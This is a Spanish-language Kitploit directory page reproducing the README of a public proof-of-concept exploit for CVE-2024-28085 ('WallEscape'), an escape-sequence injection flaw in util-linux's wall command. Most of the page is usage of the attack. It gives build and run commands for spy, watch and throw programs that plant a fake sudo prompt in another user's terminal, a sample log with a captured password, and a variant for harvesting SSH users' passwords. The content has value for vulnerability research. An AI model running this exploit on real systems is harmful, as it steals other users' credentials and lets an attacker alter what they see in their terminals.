Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-28085 — Vulnerabilidad WallEscape en util-linux | Kitploit
Herramientas/GitHubGitHub/skyler-ferrante/cve-2024-28085
Escalada de PrivilegiosAtaques de ContraseñasExplotaciónPost-ExplotaciónIngeniería SocialRed Teaming
GitHubskyler-ferrante/cve-2024-28085

CVE-2024-28085

Vulnerabilidad WallEscape en util-linux

Ver Repositorio
568hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Wall-Escape (CVE-2024-28085)

El comando wall de util-linux no filtra las secuencias de escape de los argumentos de la línea de comandos. El código vulnerable se introdujo en el commit cdd3cc7fa4 (2013). Todas las versiones posteriores han sido vulnerables. Un informe completo se puede encontrar aquí. He apodado a este error "WallEscape".

Este código de exploit tuvo éxito en la filtración de contraseñas en Ubuntu 22.04 con configuraciones predeterminadas.

Configuración

Asegúrate de que el color de fondo y el nombre de usuario estén establecidos en valores apropiados en throw.c.

Compilar y ejecutar

Configuración del ataque

root@kitploit:~
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

Usé sudo systemctl start apache2 porque es de ejecución corta y sin mucha salida. Asegúrate de matar a spy después de que el exploit se haya ejecutado: pkill spy.

Luego, en otra terminal

root@kitploit:~
sudo su
sudo systemctl start apache2

Puede que no sea necesario que la víctima llame a su dependiendo del sistema, y de si se accede localmente o mediante ssh.

Esto debería hacer que aparezca el prompt falso de sudo en la terminal de la víctima. Dado que muchos sistemas filtran comandos que no se encuentran, la contraseña de la víctima puede aparecer en proc.log.

Ejemplo de proc.log

root@kitploit:~
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!

Nota

Algunas personas han malinterpretado en qué escenarios se podría usar esto para atacar a otro usuario. No necesitamos atacar a sudo; podemos atacar en cualquier lugar donde el usuario introduzca su contraseña. En mi sistema, después de que un usuario inicia sesión usando OpenSSH, se ejecuta el comando /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new.

Para filtrar contraseñas de usuarios de OpenSSH, imagina ejecutar lo siguiente:

root@kitploit:~
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw

Entonces podemos enviar un mensaje de «password incorrect» (contraseña incorrecta) después de que un usuario pueda iniciar sesión correctamente a través de SSH. Sudo fue solo el comando que elegí para la demo, pero hay muchos objetivos posibles. No es difícil imaginar a un atacante configurando un recolector de credenciales para cosechar las credenciales de cada usuario que inicie sesión mediante SSH. Esto es posible incluso para los usuarios con menos privilegios, como www-data.

Esta vulnerabilidad también da a los atacantes la capacidad de cambiar la salida de cualquier comando. Imagina que esperáramos al comando cat ~/.ssh/id_rsa.pub". Un atacante podría cambiar lo que el usuario copia para su clave pública. En este estilo de ataque, no necesitamos una primitiva de filtración para comandos no encontrados.

Descargar herramienta